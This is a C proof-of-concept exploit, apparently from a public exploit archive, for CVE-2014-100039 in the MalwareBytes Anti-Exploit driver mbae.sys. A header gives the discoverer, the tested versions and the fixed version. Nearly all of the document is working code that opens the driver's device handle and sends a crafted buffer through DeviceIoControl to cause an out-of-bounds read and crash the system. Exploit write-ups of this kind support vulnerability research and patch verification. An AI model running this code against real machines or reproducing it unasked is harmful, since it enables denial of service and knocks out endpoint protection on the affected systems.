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/* Exploit Title - MalwareBytes Anti-Exploit Out-of-bounds Read DoS Date - 19th January 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - https://www.malwarebytes.org Tested Version - 1.03.1.1220, 1.04.1.1012 Driver Version - no version set - mbae.sys Tested on OS - 32bit Windows XP SP3 and Windows 7 SP1 OSVDB - http://www.osvdb.org/show/osvdb/114249 CVE ID - CVE-2014-100039 Vendor fix url - https://forums.malwarebytes.org/index.php?/topic/158251-malwarebytes-anti-exploit-hall-of-fame/ Fixed version - 1.05 Fixed driver ver - no version set */ #include <stdio.h> #include <windows.h> #define BUFSIZE 25 int main(int argc, char *argv[]) { HANDLE hDevice; char devhandle[MAX_PATH]; DWORD dwRetBytes = 0; BYTE sizebytes[4] = "\xff\xff\xff\x00"; BYTE *inbuffer; printf("-------------------------------------------------------------------------------\n"); printf(" MalwareBytes Anti-Exploit (mbae.sys) Out-of-bounds Read DoS \n"); printf(" Tested on Windows XP SP3/Windows 7 SP1 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); sprintf(devhandle, "\\\\.\\%s", "ESProtectionDriver"); inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(inbuffer, 0x41, BUFSIZE); memcpy(inbuffer, sizebytes, sizeof(sizebytes)); printf("\n[i] Size of total buffer being sent %d bytes", BUFSIZE); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Open %s device failed\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to DoS . . ."); getch(); DeviceIoControl(hDevice, 0x0022e000, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); printf("\n[+] DoS buffer sent\n\n"); CloseHandle(hDevice); return 0; } Source